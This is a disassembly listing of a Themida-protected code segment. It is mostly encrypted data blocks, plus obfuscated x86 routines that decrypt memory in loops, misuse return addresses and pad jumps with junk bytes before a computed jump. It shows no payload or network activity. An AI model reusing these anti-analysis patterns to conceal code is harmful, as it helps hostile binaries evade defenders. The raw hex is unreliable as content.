dd 5E47620Dh, 0FFFE8B66h, 10E86031h, 0BA000000h, 881E7B33h
dd 96673CD4h, 0AE2D7DDDh, 60FC2A62h, 8E85961h, 0F4000000h
dd 0EECA325Dh, 0BE9D85D8h, 54E0DA9Bh, 6658615Bh, 81CCA2BAh
dd 550401E8h, 2FBA665Fh, 96C0817Bh, 0F1EDF0Ah, 0E881D3B7h
dd 2B7EFCC7h, 18820F60h, 0E9000000h, 13h, 9BD5618Eh, 267693E5h
dd 0F9057F42h, 4B44CDC5h, 80D4E2EBh, 506108D4h, 2810F56h
dd 51000000h, 18F5B5Bh, 689CBB66h, 0F02E983h, 582h, 0F7816600h
dd 49495569h, 1EE81F5h, 0F000000h, 1085h, 1BA6600h, 25E99Dh
dd 0B10D0000h, 0B0D30739h, 0EE9B3h, 0D1020000h, 7ECD87F5h
dd 0E71B250Dh, 8AE3083Ch, 0FFFF3AE9h, 0BC0B4EFFh, 8D8E74BFh
dd 18EADF8Dh, 0C2816606h, 890F94D3h, 6, 21A5958Bh, 8D890612h
dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 6DC35141h, 8E20302Ch, 0A5EBA66h, 31BD85C7h, 5B9C0612h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0DF75C0C3h, 7D95897Bh, 57061216h, 11840Fh
dd 0CE90000h, 34000000h, 0F69095AFh, 0B5D754DBh, 5F334F45h
dd 1185C7h, 612h, 0BB660000h, 0B5FFEA34h, 61214C1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h, 0D38B0B3Fh
dd 29019D89h, 95FF0612h, 6122781h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 26C35040h, 6AF935h, 29D195FFh
dd 0C08B0612h, 8D1F4CEBh, 2B5E176Dh, 1AE22958h, 938873D2h
dd 0DEA94DABh, 7C077CDBh, 46046BB3h, 90C39103h, 33057974h
dd 7AEEBCCCh, 8D2191F1h, 3E7019CFh, 4AAF5C2h, 9570F6A7h
dd 0C864287Bh, 9C6EA445h, 0F9D56F3Ch, 56974E75h, 3BCE10A6h
dd 8D8D02C3h, 618EC13h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 43C35242h, 98C174B8h, 92FA3006h, 0C5858B60h
dd 0E8061218h, 11h, 0B3463410h, 19E8FC95h, 6937DA6Bh, 5B6489EFh
dd 59DFB5EDh, 0CD8D8961h, 6A06122Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BC20C352h
dd 6880FE2h, 9000000h, 121D2DBDh, 0BD85C706h, 80061231h
dd 9000071h, 122F39B5h, 1185C706h, 61200h, 0F000000h, 685h
dd 9DBD0100h, 0FF061213h, 1231F1B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 5C836471h
dd 0E8816918h, 6F60F5D6h, 0D3B70F52h, 8195FF5Bh, 80061227h
dd 6A2DC3h, 29D195FFh, 0C08B0612h, 0CB307EEBh, 6D6FA4A4h
dd 428362F1h, 0E3328CFAh, 42B54274h, 0F3E4BF2Ch, 9C5F1EA8h
dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 6F8603EDh
dd 0A91FF9FFh, 0D1C6C5F8h, 353DE431h, 0BC213E41h, 0E522706Dh
dd 79818FF4h, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh, 0B39153BDh
dd 718327EEh, 0DD8CDB4Eh, 0A62A4CEBh, 546308BCh, 1845A1Fh
dd 269DD856h, 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh
dd 0FE8h, 75B1F100h, 0EAEB1396h, 0B8C65A11h, 0BFF95F61h
dd 0E95BF28Bh, 11h, 0ED17021Fh, 65D3AA5Ah, 0B04454AAh
dd 3DAE4EDAh, 88C38187h, 89000064h, 120C41B5h, 18F6BF06h
dd 95330000h, 612038Dh, 89500B8Bh, 121AC985h, 0F1815806h
dd 569974DAh, 32099529h, 0F1810612h, 798ECC4Bh, 706FF081h
dd 0C1812F09h, 117A0B31h, 0DA816651h, 38FC6CCh, 11D9BD01h
dd 0EB830612h, 664BF803h, 0F4FF38Bh, 2085h, 0FE95000h
dd 52000000h, 4AD0A8C5h, 145A4F76h, 6A25925Dh, 0E95EBD3Ch
dd 15h, 7463E8D6h, 48B866C2h, 0FF92E91Fh, 27A8FFFFh, 0D85D2AEDh
dd 208D8DCAh, 0B60618EEh, 0CD8D8933h, 6A06122Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 52E9C357h, 0D1D78072h, 60A1E670h, 9D29D18Bh, 6120B71h
dd 0BD85C761h, 7C061231h, 6A000062h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 67D9C356h
dd 0A62612ADh, 1185C7h, 612h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 11236C3h
dd 0BF9BC7D4h, 6FED16A6h, 25B1B5FFh, 6A0612h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 912D1EC3h
dd 95FFE68Ah, 6122781h, 0DB816660h, 6A61B829h, 0D195FF00h
dd 8B061229h, 0BE0EEBC0h, 6CC6966Eh, 0BF6FC62Bh, 0F725B1C1h
dd 0F68D8D50h, 6A0618EEh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 7DB4C350h, 0BF6660FEh
dd 880F4B45h, 0
; ---------------------------------------------------------------------------
popa
mov bh, al
mov [ebp+6122DCDh], ecx
mov ax, cx
mov dword ptr [ebp+61231BDh], 6554h
push 0
push esi
call sub_5EA95D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EA95D proc near ; CODE XREF: Themida_:005EA955p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5EA95D endp
; ---------------------------------------------------------------------------
and [ebx-4046C96Ch], esp
sub ebp, [ebx]
push edi
test [eax-7Fh], ah
retf 20D6h
; ---------------------------------------------------------------------------
mov eax, ds:0E9B58B1Dh
add dl, [edx]
push es
popa
mov dword ptr [ebp+6120011h], 0
add ax, 80FAh
push dword ptr [ebp+6122D79h]
push 0
push edi
call sub_5EA9A5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EA9A5 proc near ; CODE XREF: Themida_:005EA99Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5EA9A5 endp
; ---------------------------------------------------------------------------
stosd
fist word ptr [ecx-5F8E0259h]
mov edi, edi
xchg eax, ebp
and dword ptr [edi], 0EE810612h
lodsb
mov dl, 0D3h
pop ds
push 0
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5EA9F4
; ---------------------------------------------------------------------------
db 85h, 0C7h, 22h
dd 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h
dd 0E31E249Eh, 579CB740h
; ---------------------------------------------------------------------------
loc_5EA9F4: ; CODE XREF: Themida_:005EA9D3j
call loc_5EAA0B
scasb
mov dl, 0ABh
mov ds:32F3066Dh, al
lock retn
; ---------------------------------------------------------------------------
mov eax, ds:8F255D9h
leave
ja short loc_5EAA82
loc_5EAA0B: ; CODE XREF: Themida_:loc_5EA9F4p
mov ecx, [ebp+61228D1h]
pop eax
mov ecx, [ebp+61210E9h]
add eax, 5CB1h
mov cx, 5ECDh
mov edi, 20F837EEh
add edi, 0DF07DF1Dh
jp loc_5EAA37
mov dx, 6630h
loc_5EAA37: ; CODE XREF: Themida_:005EAA2Dj
; Themida_:005EAA79j
mov esi, [eax]
jb loc_5EAA45
mov [ebp+61210BDh], eax
loc_5EAA45: ; CODE XREF: Themida_:005EAA39j
sub esi, 50CFE0E4h
mov dl, 3
xor esi, 6B41A0C5h
mov dl, ah
add esi, 56BB620Ah
push esi
mov ecx, esi
pop dword ptr [eax]
xor cl, 82h
sub eax, 1
sbb dx, 9D62h
dec eax
dec eax
dec eax
push ebx
mov [ebp+6121D59h], edx
pop ebx
sub edi, 1
jnz loc_5EAA37
xor cl, 56h
loc_5EAA82: ; CODE XREF: Themida_:005EAA09j
call sub_5EAA9B
bound eax, [ecx]
test [esi+406420A6h], ah
outsb
xor bl, 4
; ---------------------------------------------------------------------------
db 8Eh
dd 0E428FB8Fh
db 0BAh, 46h, 69h
; =============== S U B R O U T I N E =======================================
sub_5EAA9B proc near ; CODE XREF: Themida_:loc_5EAA82p
pusha
mov dx, ax
mov cx, ax
popa
pop ebx
jmp loc_5EAAB4
; ---------------------------------------------------------------------------
db 0Bh, 74h, 0Ah
dd 0CE16D42Ah, 99729561h
; ---------------------------------------------------------------------------
loc_5EAAB4: ; CODE XREF: sub_5EAA9B+9j
add ebx, 6206h
push 1862h
xor [ebp+6122E2Dh], eax
pop edx
mov [ebp+612178Dh], edx
loc_5EAACC: ; CODE XREF: sub_5EAA9B+62j
mov eax, [ebx]
movzx edi, di
xor eax, 2736A761h
mov cl, 5Bh
sub eax, 672878C4h
sub eax, 650A9C99h
jnp loc_5EAAED
mov cl, bl
loc_5EAAED: ; CODE XREF: sub_5EAA9B+4Aj
mov [ebx], eax
add [ebp+61219CDh], edx
sub ebx, 4
mov cl, 0E6h
sub edx, 1
jnz loc_5EAACC
mov esi, [ebp+6122E9Dh]
lea ecx, [ebp+618F0E6h]
push esi
mov al, cl
pop edx
mov [ebp+6122FFDh], esi
mov [ebp+6122DCDh], ecx
push 0
push edx
call sub_5EAB2A
and [edx-3Dh], bl
sub_5EAA9B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5EAB2A proc near ; CODE XREF: sub_5EAA9B+87p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5EAB2A endp
; ---------------------------------------------------------------------------
dw 4BE4h
; ---------------------------------------------------------------------------
pusha
movzx eax, dx
popa
mov dword ptr [ebp+61231BDh], 60F0h
mov al, 1
mov dword ptr [ebp+6120011h], 0
push 0
push edx
call sub_5EAB62
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EAB62 proc near ; CODE XREF: Themida_:005EAB5Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5EAB62 endp
; ---------------------------------------------------------------------------
dw 856Fh
dd 0FFC5525Ah, 1214C1B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0B3940E59h
dd 0E660C7E3h, 0C5852B51h, 1061232h, 1218BD95h, 8195FF06h
dd 89061227h, 121CC1B5h, 0FF006A06h, 1229D195h, 0EBC08B06h
dd 1D84764Ch, 4953D569h, 0AB18C8Fh, 0D9587B65h, 1D24734Eh
dd 0DCCB2C9h, 0B7910F1Bh, 0A5158DB7h, 2462D885h, 0F0421122h
dd 0B378C933h, 94D32B87h, 0A17C5DE6h, 8ABA20DCh, 8D56DCCFh
dd 0B8E9A4BEh, 8E7049AAh, 7624F643h, 62DACCB1h, 0FC8D8DDEh
dd 600618F1h, 18A5BD09h, 0BD230612h, 6122645h, 0CD8D8961h
dd 0F06122Dh, 58Dh, 0F7816600h, 0CE80246h, 95000000h, 677B7A98h
dd 0F16BEEAFh, 8958BF30h, 1208858Dh, 85C75806h, 61231BDh
dd 72DCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 92C35242h, 1185C7FCh, 61200h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 60AFC353h, 0A5858960h, 8B06122Fh, 0FF6161FBh, 1229B1B5h
dd 0BF0FF806h, 8195FFC3h, 0F061227h, 10E9DBB7h, 14000000h
dd 0C89863ECh, 0BBDE89B9h, 80AD1DE0h, 6A0462F8h, 0D195FF00h
dd 8B061229h, 0E64AEBC0h, 8BA73FC3h, 29F67E94h, 439D8FC0h
dd 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h
dd 1A332BA7h, 2B218799h, 0D23DDBA5h, 1CDDAF2Ch, 18D99A4Ah
dd 8930CB3Ch, 3D1890D7h, 80547641h, 0C9A8B459h, 781F0257h
dd 0C98D8DB9h, 890618F2h, 122DCD8Dh, 0C794B606h, 1231BD85h
dd 711806h, 99953300h, 0F061221h, 688h, 6DBD3100h, 0C706121Ch
dd 12001185h, 6, 0D9B58B00h, 89061222h, 12271995h, 41B5FF06h
dd 8B061208h, 8195FFDAh, 6A061227h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 98BDC350h
dd 3F492312h, 9D89B2EDh, 61228C1h, 95FF006Ah, 61229D1h
dd 1AEBC08Bh, 0DCE4A58h, 0DCE5FA75h, 17F36104h, 4A8DAA94h
dd 3F67CBE1h, 52E578FBh, 0FE8BF36h, 0F1000000h, 0C69BA0E1h
dd 3C3E42DFh, 75E3E931h, 0B70F1A70h, 0C2815AFAh, 62FFh
dd 0BD8BC933h, 61224D5h, 661134FFh, 5BF72CBEh, 911DF681h
dd 0C3815ED3h, 30BC4065h, 6E9h, 4AC34300h, 81763347h, 89DD95C3h
dd 0FE48027h, 469EC381h, 89FC0212h, 0EE80A1Ch, 71000000h
dd 762CAB24h, 644CED89h, 49EFA9FCh, 0A18D0183h, 5F06122Dh
dd 6002E983h, 348D9589h, 11E90612h, 9C000000h, 0E802D62Ah
dd 0B4735EEFh, 9EA2824Ah, 399209E7h, 8B494961h, 121559BDh
dd 0BCF98106h, 0FFFFF9Dh, 0D85h, 0C6BF0F00h, 15E9h, 7EB94700h
dd 0BD8BB141h, 6120335h, 0FFFF67E9h, 549F37FFh, 8D8D7FFBh
dd 618F4A7h, 68B0Fh, 95890000h, 6121451h, 2DCD8D89h, 880F0612h
dd 0Ah, 4850Fh, 0BE660000h, 85C76F2Ah, 61231BDh, 6AB8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3BC35747h
dd 0B4833C90h, 1185C75Ah, 61200h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 44CCC355h, 0F9FA91E8h, 2DBD8D29h, 0B5FF0612h, 6120C89h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 41C35141h
dd 0D014EFFEh, 14E986h, 0EB7C0000h, 0BDAECEADh, 0C7874F59h
dd 0B7D9A354h, 64D857EFh, 95FF0478h, 6122781h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D3C35141h, 0B1329A3Dh
dd 1591958Bh, 0BF660612h, 6A618Dh, 29D195FFh, 0C08B0612h
dd 6A7A4AEBh, 8357009Bh, 410219A1h, 0F13D88CDh, 8B4198D2h
dd 4CA2581Eh, 94AE27D3h, 94B2E113h, 0F5DC8407h, 159A5EA4h
dd 866F578Ch, 0EC93DB13h, 0C6106ED0h, 0AF94DAB6h, 68F275F5h
dd 63CF57ECh, 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 0FE8h, 0BD284A00h
dd 0A83DE9E3h, 5F8D3138h, 0AB166B35h, 68C0Fh, 95290000h
dd 6122EF1h, 7D9D8B5Eh, 81061227h, 6C12C6h, 159D8B00h
dd 0BA061204h, 0
; ---------------------------------------------------------------------------
jmp loc_5EB01B
; ---------------------------------------------------------------------------
db 9Bh, 0D9h, 0BFh
dd 31ED8C8Bh, 743E4A28h
db 3Fh, 2Eh, 6Dh
; ---------------------------------------------------------------------------
loc_5EB01B: ; CODE XREF: Themida_:005EB008j
; Themida_:005EB093j
mov edi, [esi+edx]
pusha
jmp loc_5EB030
; ---------------------------------------------------------------------------
dd 0AB34E372h, 11A0B9Ch, 0CCAD510Ch
; ---------------------------------------------------------------------------
loc_5EB030: ; CODE XREF: Themida_:005EB01Fj
popa
add edi, 42FD8A22h
mov bl, cl
xor edi, 206EF7A8h
pusha
push edi
movsx ebx, ax
pop edi
xor ah, 33h
popa
sub edi, 0E4F2617h
push edi
sub ecx, 6BE1B196h
pop ebx
push edi
mov cx, 8DD2h
pop dword ptr [esi+edx]
mov eax, ecx
pusha
push ecx
jnb $+6
pop edx
jmp loc_5EB07B
; ---------------------------------------------------------------------------
db 0A1h
; ---------------------------------------------------------------------------
lds esp, [ebp+6Ch]
shr dh, 1
mov ah, 0D6h
db 64h
scas byte ptr es:[edi]
sti
loc_5EB07B: ; CODE XREF: Themida_:005EB06Aj
popa
sub edx, 2
sub [ebp+6120B39h], eax
dec edx
dec edx
mov [ebp+612304Dh], ebx
cmp edx, 0FFFF94B4h
jnz loc_5EB01B
mov ebx, [ebp+612328Dh]
call sub_5EB0A9
pushf
into
iret
; ---------------------------------------------------------------------------
db 0D0h
; ---------------------------------------------------------------------------
dec ebx
; =============== S U B R O U T I N E =======================================
sub_5EB0A9 proc near ; CODE XREF: Themida_:005EB09Fp
and ch, 7Bh
pop ebx
mov [ebp+6120C8Dh], ecx
add ebx, 7324h
movzx ecx, di
mov esi, 1C9Ch
mov ecx, 7DFB7F2Ch
loc_5EB0C6: ; CODE XREF: sub_5EB0A9+A0j
mov eax, [ebx]
mov edx, 32D45612h
sub eax, 2053A7EEh
sub eax, 4D98A5E6h
movsx edi, cx
sub eax, 3A786C47h
mov edi, [ebp+6122C45h]
mov [ebx], eax
push edi
jmp loc_5EB101
; ---------------------------------------------------------------------------
dd 35C8B439h, 1CE2636Eh, 0D6A31B61h, 7AF03309h
db 63h
; ---------------------------------------------------------------------------
loc_5EB101: ; CODE XREF: sub_5EB0A9+42j
pop edi
sub ebx, 2A8BE833h
jmp loc_5EB11D
; ---------------------------------------------------------------------------
db 0DEh, 55h, 51h
dd 0B52220B4h, 0F594F822h, 31FC8C4Ch
db 0A9h
; ---------------------------------------------------------------------------
loc_5EB11D: ; CODE XREF: sub_5EB0A9+5Fj
add ebx, 2A8BE82Fh
xor [ebp+6122685h], edi
dec esi
jnz loc_5EB143
mov [ebp+6123435h], edx
jmp loc_5EB15C
; ---------------------------------------------------------------------------
db 50h
dd 0D368DFECh
db 0A3h, 8Eh, 0ACh
; ---------------------------------------------------------------------------
loc_5EB143: ; CODE XREF: sub_5EB0A9+81j
sbb edx, 4F1768E8h
jmp loc_5EB0C6
; ---------------------------------------------------------------------------
dw 0A6F1h
dd 3F41C449h, 5006B855h, 89FBDE49h
; ---------------------------------------------------------------------------
loc_5EB15C: ; CODE XREF: sub_5EB0A9+8Dj
call near ptr loc_5EB172+2
add [eax+5A98757Bh], sp
neg dword ptr [edi]
mov dword ptr [ebx+esi*8+40h], 6E95B527h
loc_5EB172: ; CODE XREF: sub_5EB0A9:loc_5EB15Cp
sub esi, 0FFFFFF8Bh
sub_5EB0A9 endp ; sp-analysis failed
mov ebp, 6121435h
pop esi
xor dh, 0F7h
add esi, 5D2Ch
push edi
pop edi
xor eax, eax
mov [ebp+6121F15h], esi
loc_5EB18E: ; CODE XREF: Themida_:005EB1FDj
mov ebx, [esi+eax]
mov edi, [ebp+61218C5h]
add ebx, 5D79320Dh
jo loc_5EB1A6
mov cx, di
loc_5EB1A6: ; CODE XREF: Themida_:005EB19Dj
sub ebx, 162C81C1h
movsx edx, ax
xor ebx, 7F052BF7h
mov edx, ebx
push ebx
mov ecx, edx
pop dword ptr [esi+eax]
and ecx, [ebp+6121829h]
movzx edi, ax
sub eax, 2
add [ebp+6121D09h], ebx
dec eax
dec eax
mov cx, 4F1Ah
cmp eax, 0FFFFA380h
jnz loc_5EB1FB
mov [ebp+6122821h], edi
jmp loc_5EB211
; ---------------------------------------------------------------------------
mov dword ptr ss:34EB65BAh, 0AF9D83B3h
db 64h
icebp
fucomi st, st(1)
loc_5EB1FB: ; CODE XREF: Themida_:005EB1DBj
mov ecx, edi
jmp loc_5EB18E
; ---------------------------------------------------------------------------
dw 0C99Ah
; ---------------------------------------------------------------------------
sal dword ptr [edx-63h], 1
mov ch, ch
adc eax, 535D8705h
mov cl, 87h
dec ecx
loc_5EB211: ; CODE XREF: Themida_:005EB1E7j
jmp loc_5EB22B
; ---------------------------------------------------------------------------
dw 6371h
dd 6217h, 3 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5EB22B: ; CODE XREF: Themida_:loc_5EB211j
jmp loc_5EB75F
; ---------------------------------------------------------------------------
dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h, 0BF0C038Ah
dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch
dd 0F856A9DEh, 27FDDA4Dh, 8DFD1C72h, 0A26D2182h, 54390237h
dd 0B9D56EBBh, 36582156h, 0C47DA4D9h, 0D73853C6h, 0D164376Ch
dd 0E43CCC0h, 727D6478h, 7C93FD1Ch, 0BC097447h, 55A26D23h
dd 7C3BD4BCh, 602A5D65h, 4E5947DFh, 7E0DD6BBh, 0C8B45C91h
dd 4DC2CE19h, 0E8276700h, 5FF39BB3h, 3BA747DFh, 0FEE7DFA6h
dd 623422BCh, 86000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h
dd 0BCFE9DF5h, 64A22h, 0A25B0000h, 618F22EDh, 91FF1A72h
dd 0B76497Eh, 9098AFD6h, 47DF5FF7h, 0D5E67984h, 5A2358B7h
dd 41BDA35h, 0DF5F8BFCh, 5AEDF847h, 35E4AC75h, 194EB956h
dd 9DD23D50h, 3D809F5h, 0C520C1D5h, 62FB48C7h, 6EA1ED2Ch
dd 0AEFB6639h, 0F41B72F8h, 7996F6BFh, 0E16544h, 411E0687h
dd 0D3FEE1D8h, 0B15E2F40h, 0D8B46D64h, 0FB93A437h, 37B8DF14h
dd 9E9AB55Ch, 7283167Ah, 73203918h, 0FA23EC9Eh, 7FEA56CAh
dd 6AAA3FC0h, 71624D4Ch, 0F487F21Dh, 7E637F0Fh, 0BCF5FF07h
dd 6A4C22h, 0A45D0000h, 659326E9h, 0BFF41B72h, 467B94F6h
dd 0AA459CB0h, 0E8DF2CE3h, 7DB25D2Fh, 870617AAh, 58A5388h
dd 2C344B0Ah, 47DF5F5Bh, 0A58A1D28h, 0A1E8F915h, 22BCFC51h
dd 62E6h, 5B143800h, 3849DC33h, 0BC85BA55h, 6F087DD4h
dd 0C588EFEEh, 7EE92664h, 0D9084C49h, 0F29A7F0Eh, 0AA15E81Dh
dd 474F665Dh, 47DF8F40h, 77A53843h, 92F5FD14h, 2847DF5Fh
dd 0A174A966h, 5A6BFE09h, 651EDD32h, 1E26E52Ah, 47DF5F69h
dd 977C0F1Ah, 0DF600F7Fh, 0C21F8B47h, 0BCFECBCBh, 12022h
dd 14720000h, 5F92F5FDh, 652847DFh, 0AA275AAh, 2F5B6CFFh
dd 0ACE2ABE0h, 26652E63h, 0A2EBB4E9h, 0A490386Dh, 7C68A83Dh
dd 0F008A65h, 0AFD4CF50h, 0DB2CD922h, 0E5EE4B48h, 3884100h
dd 2DE2AB0Ch, 239225F8h, 0F255E31Bh, 82B7C249h, 0ED3AD5B9h
dd 0BC533DF6h, 1021B487h, 19D2917Eh, 66E7DD74h, 0D283E20Fh
dd 0C8EFD467h, 89DEA9B1h, 929D4DF1h, 6A0C8C69h, 0CE613853h
dd 0F23F1F6Eh, 0BE23674Dh, 0D28F44C5h, 0B1760367h, 98810D1Eh
dd 8BFD5DF4h, 96BA1EF9h, 4801C02Bh, 0C396CB44h, 0F49A3330h
dd 711DE61Bh, 0EBA0699Eh, 0BDF83966h, 86F197C3h, 0A058851h
dd 6F72F6D5h, 726FF36Ah, 0ABF81777h, 7C93FBB4h, 0C0047CE9h
dd 49D124AEh, 0E2000001h, 74A96629h, 0C14E40A1h, 0FD14002Eh
dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F17759C9h, 4C44FD49h
dd 0C6C58EC3h, 0D6411449h, 0BBF0FB43h, 26739CF2h, 0D90E018Dh
dd 0F09B7E10h, 0EE17EA1Fh, 9CCF5F27h, 78AD18EDh, 21CC1599h
dd 6055A26Dh, 24AE6A60h, 40B5h, 0A4AE0700h, 6FF800BFh
dd 8CC7DF5Fh, 0A4254C81h, 85E27814h, 68702FA8h, 0C7DEAF1Fh
dd 5EBE515Ch, 0C7DEAF29h, 2100E195h, 636B2A17h, 47DEAF04h
dd 0B7D0D837h, 0C447E00Fh, 6A014EB9h, 0B4h, 335B14D4h
dd 73D4A7DCh, 8F64F718h, 0C9E09F86h, 0FC32FA48h, 0CD602A54h
dd 0F252E16Dh, 0E4192449h, 0DD9C731Bh, 71A66924h, 170E0B9Eh
dd 0AADF305Eh, 5B3344D7h, 25677FB4h, 4F4DF257h, 14737B40h
dd 674DF258h, 0F3BCF15Ch, 973F749Bh, 30E336ABh, 3C10C648h
dd 60A439A4h, 0E7286681h, 4D343D9Ah, 186F778Eh, 6B4DF242h
dd 828DFF60h, 78E77A4Dh, 9375F70h, 82414C50h, 0BB4EC1C9h
dd 8E810DD6h, 1CC5B159h, 33545C73h, 5047E975h, 0D4DDB245h
dd 0A9262EEDh, 0F34A0069h, 41B3D4DCh, 0A1A94DF2h, 4DF241E6h
dd 0E7F28A95h, 5E4D98BEh, 0A83B3779h, 52085560h, 1C0A5AEh
dd 0F654D6F9h, 85BAC549h, 0F03DD2BCh, 7C843757h, 4DF8570Bh
dd 0CD026D78h, 0E5F6EBB5h, 0B52C40F1h, 0A6AEC5DCh, 0A9F6C7E1h
dd 0A0E797A2h, 0E3A9F6C7h, 0F71877D8h, 0D43B5364h, 6FA0EE87h
dd 0F11E713Ah, 0B92814BCh, 0BF0F4FD0h, 595265E7h, 0D0A3D837h
dd 0CDC1D265h, 325CF542h, 59068189h, 6A75A9F7h, 1403CAFFh
dd 6D000000h, 0D4DCF322h, 47DF5FB3h, 1C9CC5D0h, 0A20ADA21h
dd 72E917AAh, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h
dd 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh
dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 6685C24h
dd 89000073h, 0D468240Ch, 89000049h, 0BF57243Ch, 13160424h
dd 4F08E7C1h, 75A2F781h, 0E7811165h, 2DD031C6h, 0F0F78147h
dd 0B926BF5Bh, 25E7BCE3h, 545FF931h, 83243C8Bh, 0B85004C4h
dd 8, 889F801h, 8124048Bh, 4C4h, 243C8B00h, 81E18951h
dd 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 83592434h, 86E904C4h
dd 0CDFFF984h, 1AA3FF59h, 0FD3F469h
; ---------------------------------------------------------------------------
cmp [ebp+5Bh], eax
loc_5EB75F: ; CODE XREF: Themida_:loc_5EB22Bj
mov eax, 618FBF2h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 75C15B3Ah, 3C6E2384h, 69822461h, 0EE8h, 0F24B6D00h
dd 43B9E26Eh, 6FC0C9CBh, 0F15E489h, 1A8Ch, 13E95300h, 6B000000h
dd 0FC08AFB1h, 7A7A61EDh, 48D4B4A5h, 0DDF7A882h, 5B5F1894h
dd 1860Fh, 81FC0000h, 67B0C3h, 6800h, 8B0F0000h, 3, 5AF38B66h
dd 34FFC28Bh, 0CE8601Ah, 17000000h, 0BE1FD8B8h, 0FA01546h
dd 0E9278E4Ch, 7, 5169B1DDh, 5EAA53E0h, 0A1D08053h, 0F596158h
dd 0C181F3B7h, 303096CCh, 38B4F781h, 0C1810838h, 5E84A9B4h
dd 0AE9h, 49E52900h, 0F271A19h, 81B442EDh, 3AA87DE9h, 51F88B6Eh
dd 8FFE8B66h, 0DE91304h, 25000000h, 0E08C30A8h, 7BAC2504h
dd 748FA1A1h, 2890Fh, 58530000h, 5703EA83h, 0CE856h, 4BBB0000h
dd 2727C2F0h, 0C0D932F2h, 58580E5Fh, 830F4A5Fh, 0Bh, 5800Fh
dd 9ABF0000h, 81421CA2h, 0FF9958FAh, 53850FFFh, 0E9FFFFFFh
dd 0Dh, 0D1C04B6Bh, 0F1B1B52Bh, 0E0DF749Eh, 0A0758211h
dd 14690889h, 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h
dd 30254813h, 21AC9905h, 3F251494h, 30258102h, 0B1980786h
dd 30235086h, 305EA589h, 0B5E39086h, 36375D47h, 3021CCC8h
dd 0E7651286h, 0BB75A1C4h, 0BB21A0C2h, 1461CB86h, 85DA7982h
dd 3637810Fh, 0B25FCD0Bh, 0E0DA2293h, 0B5E3E20Dh, 36371C47h
dd 6E7EECC8h, 4A4FFAEh, 5AAC3AA2h, 0B1906F93h, 0BD235A86h
dd 25A75E03h, 0BBF5ED80h, 3035B07Eh, 38CC8486h, 96254286h
dd 302BA489h, 3B6C9086h, 0C0A0474Fh, 0D9DADB79h, 3025128Bh
dd 7E6E940Bh, 359D8294h, 0CF254286h, 9B98AC65h, 0BD23887Bh
dd 28DB390Bh, 15379C80h, 0FF0E94B6h, 0A0758247h, 14690889h
dd 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h, 30254813h
dd 83AC9905h, 0A4F305E9h, 22B9h, 368D8D00h, 890618FFh
dd 121C6D8Dh, 0CD8D8906h, 0E806122Dh, 0Fh, 13EEC771h, 0D6463163h
dd 63807E96h, 5E84824Ch, 31BD85C7h, 699C0612h, 85C70000h
dd 6120011h, 0
; ---------------------------------------------------------------------------
mov eax, ebx
